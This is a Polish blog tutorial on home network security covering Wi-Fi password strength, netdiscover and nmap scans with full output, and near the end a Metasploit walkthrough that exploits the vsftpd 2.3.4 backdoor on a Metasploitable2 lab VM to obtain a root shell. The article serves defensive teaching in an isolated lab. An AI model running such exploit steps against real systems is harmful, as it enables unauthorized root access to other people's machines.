Sieć domowa z jakiej korzystamy na co dzień powinna być dla nas czymś ważnym pod względem bezpieczeństwa. To ona jest pierwsza, z czym spotykają się nasze urządzenia, łączące się z internetem. Dlatego bardzo istotne jest zadbanie o bezpieczeństwo sieci. Jednak jak to zrobić i jak to rozumieć, jest sieć i co?

 

Zapis na newsletter!

Zanim jednak rozwinę temat dalej to jedna informacja na początek. Prowadzę regularny, cotygodniowy newsletter z poradami związanymi z Zabbixem, monitoringiem oraz dobrymi praktykami w IT. Jeżeli nie chcesz przegapić kolejnych części oraz zaproszeń na nasze darmowe szkolenia to zapraszam do zapisu. Wystarczy pobrać mój poradnik. Monitoring IT – Dobre Praktyki. Wystarczy wejść klikając na obrazek:

__________________________________________

 

Bezpieczeństwo sieci – po pierwsze hasło!

Otóż podstawowym zabezpieczeniem jest hasło. Jeżeli nie korzystasz ze skomplikowanego hasła do sieci, to może zostać ono dość szybko złamane. Osoba będąca w sieci może korzystać z różnorodnych sposobów, rozpoczynając od przechwytywania informacji, po uzyskanie dostępu do twojego urządzenia. Nikt z nas tego by nie chciał. Wiesz już, że posiadanie możliwości podłączenia urządzenia do sieci w sposób bezprzewodowy jest bardzo pożyteczną funkcją. Jednak dzięki tej funkcji jesteś narażony na to, że ktoś niepowołany złamie twoje hasło i uzyska do niej dostęp. I jest problem z bezpieczeństwem sieci.

O tym, że hasła 123, admin i inne są za proste wiesz już. Natomiast w sieciach WPA2, które obecnie najczęściej są stosowane, wymagane jest hasło o minimalnej długości 8 znaków. W tym miejscu ludzie najczęściej popełniają pierwszy błąd. Jeżeli hakerowi uda się uzyskać plik handshake, w którym znajduje się zaszyfrowane hasło, to pierwsze co robi po sprawdzeniu domyślnych słowników to próba jego złamania przy pomocy generowanej automatycznie listy ciągów znaków. Listę ustawia w taki sposób, by posiadała maksymalnie 8 znaków. W ten sposób jest mniejsza liczba możliwości, dzięki czemu szybciej można złamać hasło.

Jeżeli chodzi o wspomniany przed chwilą plik handshake. Każdy będący w zasięgu twojej sieci, nie posiadając do niej hasła, jest w stanie taki plik uzyskać. Oczywiście jeżeli posiada podstawowe umiejętności korzystania z oprogramowania i odpowiedni adapter bezprzewodowy. Jednak wierz mi na słowo, nie jest to takie trudne, a sam adapter nie jest kosztowny. Nawet dziecko jest w stanie opanować te kilka prostych komend.

Dlatego jeżeli chcesz czuć się bezpieczniej, stwórz dla swojej sieci skomplikowane hasło posiadające więcej niż 8 znaków. Utrudnisz w ten sposób osobom niepowołanym dostęp do twojej sieci. Jednak wiedz, że nie istnieje zabezpieczenie idealne. Dlatego, aby zadbać o bezpieczeństwo we własnej sieci, należy zmieniać co jakiś czas hasło, jak i również wykonywać skanowania bezpieczeństwa, zarówno sieci jak i urządzeń korzystających z niej.

Po drugie skanowanie sieci!

Skanowanie sieci, a skanowanie urządzeń w sieci różni się znacznie od siebie. W tej części artykułu zajmiemy się skanowaniem sieci, a nie poszczególnych urządzeń znajdujących się w niej. Skanowanie jest drugim elementem, które może pomóc w poprawieniu bezpieczeństwa. Najprostszym narzędziem do tego celu jest program netdiscover. W systemie Debian nie jest standardowo zainstalowany. Dlatego instalujemy go przy pomocy polecenia:

sudo apt install netdiscover

Nim przejdziemy do samego skanowania musimy poznać pod jakim adresem IP urządzenia w naszej sieci występują. Ja osobiście wykorzystuję do tego celu ifconfig. Nie jest ono zainstalowane standardowo w większości dystrybucji. Aby móc z niego korzystać musimy doinstalować paczkę:

sudo apt install net-tools

Aby poznać adres IP pod jakim występuje nasze urządzenie, korzystamy z polecenia w następujący sposób:

sudo ifconfig

Odnajdujemy interfejs sieciowy z którego korzystamy i pod etykietą intet odnajdujemy adres IP pod jakim występujemy w sieci:

inet 192.168.0.11

Jest to wewnętrzny adres IP. Na zewnątrz jest on zupełnie inny. Znając podstawowe zasady sieci wiem, że moja zaczyna się od 192.168.0.0 do 192.168.0.254. Aby przeskanować ją całą posługuje się programem netdiscover w następujący sposób:

sudo netdiscover -r 192.168.0.0/24

Polecenie wypisze wszystkie podłączone urządzenia w sieci. Natomiast /24 jest to zakres jaki obecnie najczęściej występuje w sieciach domowych. Na liście znajdują się urządzenia, które posiadają przypisane adresy IP w pierwszej kolumnie oraz adresy MAC. Dwa razy ten sam adres IP w jednej sieci nie może wystąpić. Natomiast jeżeli na liście występuje dwa razy ten sam adres MAC oznacza to, że ktoś węszy w twojej sieci.

Napotkanie dwa razy tego samego adresu MAC niezupełnie musi oznaczać, że ktoś dostał się do niej. Po wyłączeniu routera lub urządzenia dzięki któremu jesteś podłączony do sieci, zapytaj użytkowników czy ktoś się po prostu nie bawi.

Jak się przed tym zabezpieczyć?

Otóż przed użytkownikami, którzy muszą mieć ten dostęp ciężko jest się zabezpieczyć. Choć istnieje ogólny sposób zwany VPN. Oczywiście można napisać własny skrypt, który będzie wykrywał zdarzenie występowania dwóch tych samych adresów MAC lub poszukać takiego w internecie. Jednak podstawowym zabezpieczeniem przed wtargnięciem do sieci jest stworzenie odpowiednio trudnego hasła do złamania. 

Po trzecie skanowanie urządzeń w sieci!

Aby intruz będący w sieci mógł uzyskać dostęp do urządzenia musi skorzystać z jakiejś luki systemowej lub luki w zainstalowanym oprogramowaniu. Oczywiście, o ile nie mamy skonfigurowanej jakiejś komunikacji między urządzeniami. Dlatego trzecim bardzo istotnym elementem jest skanowanie wszystkich urządzeń znajdujących się w sieci. Do tego służy bardzo znane narzędzie NMAP.

Środowisko z urządzeniami

Jednak zanim z niego skorzystamy, aby pokazać jak wygląda skanowanie i jakie wyniki możesz uzyskać, postanowiłem skorzystać z VirtualBox. W nim znajdować się będą trzy maszyny wirtualne. Pierwsza z nich to system, z którego będę wykonywał skanowanie. W związku z tym, że osoba włamująca się najczęściej korzysta z rozwiązania dystrybucyjnego dostosowanego do tego celu, użyję Kali Linux. Drugim narzędziem będzie system Windows, a trzecim Metasploitable2. Jeżeli chodzi o system Windows to wydaje mi się że nie trzeba nic tłumaczyć. Natomiast w przypadku Metasploitable2, jest to obraz systemu bazujący na Ubuntu posiadający ogromną ilość luk systemowych. Powinien być uruchamiany w środowisku odseparowanym od głównego systemu oraz sieci. Dlatego my stworzymy własną sieć NAT do której dodamy trzy wspomniane systemy.

W ramach wyjaśnień, korzystam z Metasploitable2 po to by pokazać, jak to wszystko wygląda. Niestety tak obszernej listy nie byłbym w stanie uzyskać przy skanowaniu własnej sieci czy też świeżo zainstalowanego systemu Linux czy też Windows.

Miejsca skąd możesz pobrać wymienione obrazy

Jeżeli chcesz wykonać skanowania w identyczny sposób jak ja to robię, musisz pobrać odpowiednie obrazy. Poniżej podaję adresy stron z których możesz to zrobić:

  1. Kali Linux: https://www.kali.org/get-kali/#kali-virtual-machines
  2. Windows: https://developer.microsoft.com/en-US/microsoft-edge/tools/vms/
  3. Metasploitable2: https://sourceforge.net/projects/metasploitable/

Jednak pamiętaj, że Metasploitable2 musi być dodany do sieci NAT przed uruchomieniem. Nie uruchamiaj bez wcześniejszej jej konfiguracji!

Podstawowe skanowanie

Teraz chciałbym pokazać najprostsze skanowanie dostępne w NMAP. Jeżeli korzystasz z innej dystrybucji niż ja to wystarczy, że przy pomocy dostępnego menadżera pakietów zainstalujesz pakiet o nazwie nmap.

Aby przeskanować całą sieć posłużymy się poleceniem:

nmap 10.0.2.0/24                 	 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-16 01:48 EST
Nmap scan report for 10.0.2.1
Host is up (0.00050s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
53/tcp open  domain

Nmap scan report for 10.0.2.2
Host is up (0.00023s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT 	STATE SERVICE
25/tcp   open  smtp
631/tcp  open  ipp
1000/tcp open  cadlock
9050/tcp open  tor-socks

Nmap scan report for 10.0.2.4
Host is up (0.00022s latency).
All 1000 scanned ports on 10.0.2.4 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 10.0.2.8
Host is up (0.00052s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT 	STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown

Nmap scan report for 10.0.2.15
Host is up (0.00024s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT	STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 256 IP addresses (5 hosts up) scanned in 5.07 seconds

Program wypisał wszystkie otwarte porty na podłączonych urządzeniach. W ramach wyjaśnienia adres IP 10.0.2.8 – jest to Metasploitable2, 10.0.2.15 jest to system Windows. Aby w wynikach tego skanowania został wyświetlony system Windows musisz wyłączyć firewall. Dlatego, jak widzisz automatycznie uruchamiane wbudowane zabezpieczenie systemu Windows działa właściwie! Blokuje możliwość takiego skanowania co jest bardzo pozytywną informacją.

W tym materiale chcę pokazać kilka możliwości, dlatego wyłączyłem firewall w systemie Windows. W ten sposób dostałeś informację o czterech otwartych portach. Choć to polecenie wyświetla dużo informacji to jednak nie są one aż tak interesujące. Oczywiście, jeżeli widzisz urządzenie w swojej sieci, które ma tyle otwartych portów co w Metasploitable2 oznacza to, że coś jest nie tak.

Pojedyncze skanowanie

Po przeskanowaniu całej sieci, gdy coś w otwartych portach danego urządzenia nas zaciekawi, warto się temu bliżej przyjrzeć. Jak już wiesz, które urządzenie chcesz przeskanować wystarczy, że po nmap podasz jego adres bez określenia zakresu.

nmap 10.0.2.8                    	 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-16 02:07 EST
Nmap scan report for 10.0.2.8
Host is up (0.00018s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT 	STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

Wyświetlone zostaną wyniki tylko tego urządzenia do którego przypisany jest wskazany adres IP. Teraz zobaczmy co możemy zrobić wiedząc o takiej ilości otwartych portach.

Skanowanie z określeniem wersji

Choć wynik przedstawia jedynie informacje o otwartych portach, to jednak poprzez ilość wyświetlonych wyników zwraca naszą uwagę. W związku z powyższym wykonajmy bardziej szczegółowe skanowanie na danym adresie IP:

sudo nmap 10.0.2.8 -sV                	 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-16 02:18 EST
Nmap scan report for 10.0.2.8
Host is up (0.000069s latency).
Not shown: 977 closed tcp ports (reset)
PORT 	STATE SERVICE 	VERSION
21/tcp   open  ftp     	vsftpd 2.3.4
22/tcp   open  ssh     	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet  	Linux telnetd
25/tcp   open  smtp    	Postfix smtpd
53/tcp   open  domain  	ISC BIND 9.4.2
80/tcp   open  http    	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind 	2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec    	netkit-rsh rexecd
513/tcp  open  login   	OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi	GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs     	2-4 (RPC #100003)
2121/tcp open  ftp     	ProFTPD 1.3.1
3306/tcp open  mysql   	MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc     	VNC (protocol 3.3)
6000/tcp open  X11     	(access denied)
6667/tcp open  irc     	UnrealIRCd
8009/tcp open  ajp13   	Apache Jserv (Protocol v1.3)
8180/tcp open  http    	Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:E7:A8:A2 (Oracle VirtualBox virtual NIC)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.74 seconds
zsh: segmentation fault  sudo nmap 10.0.2.8 -sV

Przy pomocy wykonanego w ten sposób skanowania uzyskaliśmy dodatkową informację o wersji prawie każdej z dostępnych usług. Zwróć też uwagę, że na samym dole otrzymałeś informację o systemie jaki jest używany na skanowanym urządzeniu.

Co zrobić z otrzymanym wynikiem

Rozwiązań jest kilka.

Oczywiście format!

Dobra, żartuje.

Możesz skorzystać ze skanera wykrywania podatności jak na przykład Greenbone Vulnerability Manager Comunity Edition (https://greenbone.github.io/docs/latest/) lub poszukać informacji w internecie z użyciem wyszukiwarki google, duckduckgo. Dzięki skanerowi będziesz dokładnie wiedział, w czym jest problem. Natomiast korzystając z ręcznego sposobu również do tego dojdziesz, ale trochę okrężną drogą.

Wykorzystanie Luki

Jak wspomniałem na samym początku tego materiału, Metasploitable2 posiada cały zestaw luk. Jest on dla osób chcących uczyć się z zakresu etycznego hakingu. Wykorzystałem tę maszynę wirtualną w celu pokazania co się może stać jak zainstalujemy takie oprogramowanie w naszym systemie. Niektórym może się zdawać, że jak nie posiadają zewnętrznego adresu IP to są bezpieczni. Jest to jak najbardziej błędne sformułowanie. Aby tego dowieść uzyskując dostęp do sieci chcę pokazać w jaki sposób dostać się do urządzenia które ma uruchomioną usługę vsftpd 2.3.4.                                        

Użyjemy do tego programu metasploit, którego autorem jest ta sama firma co Metasploitable2. W systemie Kali Linux instaluje się on automatycznie. Korzystamy z niego wpisując w konsoli:

sudo msfconsole

Następnie po uruchomieniu programu wpisujemy:

use exploit/unix/ftp/vsftpd_234_backdoor

Ustawiamy cel, czyli wprowadzamy adres IP urządzenia na którym wskazana usługa występuje:

set RHOST 10.0.2.8

I na samym końcu uruchamiamy naszego exploita:

exploit

Po wprowadzeniu tego polecenia powinieneś nawiązać połączenie:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.0.2.8:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.8:21 - USER: 331 Please specify the password.
[+] 10.0.2.8:21 - Backdoor service has been spawned, handling...
[+] 10.0.2.8:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.4:32799 -> 10.0.2.8:6200) at 2022-11-16 03:22:05 -0500

W ten sposób masz dostęp do konsoli jako użytkownik root. Chyba nie muszę nikogo uświadamiać co to oznacza.

Podsumowanie – bezpieczeństwo sieci

Dbanie o bezpieczeństwo każdego z urządzeń korzystających z sieci jest bardzo ważnym zadaniem jeżeli chcemy czuć się bezpieczniej. Nie powinieneś dbać tylko o swój komputer tylko również o inne urządzenia, które podłączają się do twojej sieci. Tylko w ten sposób możesz zapewnić bezpieczeństwo sieci. Choć możesz zachować wszelkie środki ostrożności to jednak może okazać się, że któryś z użytkowników nie będzie o tym nawet myślał. To wszystko zależy teraz do Ciebie. W tym artykule poznałeś podstawowe narzędzia które mogą w tym pomóc. Polecam zapoznać się bardziej szczegółowo z każdym z nich.

Chcesz więcej?

Oczywiście, jeżeli nie chcesz przegapić tego typu materiałów, to zapisz się na mój newsletter i przy okazji odbierz darmowe bonusy, np. e-booka ze zdjęcia poniżej! Prowadzę regularny, cotygodniowy newsletter z poradami związanymi z automatyzacją, monitoringiem oraz dobrymi praktykami w IT.

Zapisy TUTAJ

Zapisz się na Newsletter i odbierz za darmo e-book "Monitoring IT"!

X